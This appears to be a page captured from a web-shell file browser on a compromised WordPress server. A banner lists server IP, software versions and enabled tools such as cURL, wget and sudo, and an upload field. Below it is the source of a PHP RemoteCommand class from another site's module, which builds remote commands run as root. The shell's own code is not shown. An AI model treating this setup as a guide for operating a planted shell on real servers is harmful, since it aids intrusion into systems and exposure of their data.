Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/patientapps_www/modules/connectionDirect/model/ |
Upload File : |
<?php
class RemoteCommand {
private $command;
private $connection = NULL;
private $user;
private $callback; // called once output from requested program is available
private $script;
private $user_param;
public $output;
public $error;
const BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function __construct() {
$this->output = '';
$this->error = '';
$this->script = FALSE;
$this->command = FALSE;
}
public function command() {
if (func_num_args()) {
$this->command = func_get_arg(0);
return $this;
}
return $this->command;
}
public function connection() {
if (func_num_args()) {
$this->connection = func_get_arg(0);
return $this;
}
return $this->connection;
}
public function ServerID() {
if ($this->connection === NULL) return 0;
$serverdata = $this->connection->serverdata();
return $serverdata->server_id;
}
public function script() {
if (func_num_args()) {
$this->script = func_get_arg(0);
return $this;
}
return $this->script;
}
public function user() {
if (func_num_args()) {
$this->user = func_get_arg(0);
return $this;
}
return $this->user;
}
public function callback() {
if (func_num_args()) {
$this->callback = func_get_arg(0);
return $this;
}
return $this->callback;
}
public function user_param() {
if (func_num_args()) {
$this->user_param = func_get_arg(0);
return $this;
}
return $this->user_param;
}
public function __callback($str) {
$this->output .= $str;
}
public function BreakIntoFiles() {
$result = [];
if ($this->output == '') return $result;
$output = gzdecode($this->output);
if (empty($output)) {
// file_put_contents('/tmp/break.txt', $this->output); // length = 8192 bytes - too short
// var_export(debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS));
// die('remotecommand breakpoint');
}
$files = explode(self::BOUNDARY, $output);
foreach($files as $file) {
$xfile = trim($file);
if ($xfile != '') {
$node = $this->processFile($file, $filename);
$result[$filename] = $node;
}
}
return $result;
}
private function processFile($file, &$filename) {
$file = ltrim($file);
$lines = explode("\n", $file);
$line0 = array_shift($lines);
// has an exact size been specified?
list($filename, $size) = explode("\t", $line0 . "\t\t", 3);
$offset = strlen($line0) + 1;
if ($size != '') {
$raw = substr($file, $offset, (int)$size);
} else {
$raw = rtrim(substr($file, $offset));
}
if (count($lines) > 0 && strpos($lines[0], '----link----') !== FALSE) {
$link = $lines[1];
$raw = NULL;
} else {
$link = FALSE;
}
return ['link' => $link, 'raw' => $raw];
}
function strip_comment($line) {
$c = strlen($line);
$inQuote = FALSE;
for($i = 0; $i < $c; $i++) {
$ch = $line[$i];
if ($ch == '\\') {
$i++;
} elseif ($ch === $inQuote) {
$inQuote = FALSE;
} elseif ($ch == '"' || $ch == "'") {
$inQuote = $ch;
} elseif ($inQuote === FALSE && ($ch == ';' || $ch == '#')) { // encountered a comment
return substr($line, 0, $i);
}
}
return $line;
}
public function asIniFile($content) {
$result = [];
$section = FALSE;
foreach(explode("\n", $content) as $line) {
$line = trim($this->strip_comment($line));
if (preg_match('~^\[(.*)\]$~', $line, $match)) {
$section = strtolower($match[1]);
} elseif (($p = strpos($line, '=')) !== FALSE) {
$key = strtolower(trim(substr($line, 0, $p)));
$value = trim(substr($line, $p + 1));
if ($section === FALSE) {
$result[$key] = $value;
} else {
$result[$section][$key] = $value;
}
}
}
return $result;
}
}
function remote_command($command, $callback, $user = 'root', $connection = NULL) {
$entry = new RemoteCommand();
return $entry ->command($command)
->callback($callback)
->connection($connection)
->user($user);
}
function remote_script($getscript, $callback, $user = 'root', $connection = NULL) {
$entry = new RemoteCommand();
return $entry ->script($getscript)
->callback($callback)
->connection($connection)
->user($user);
}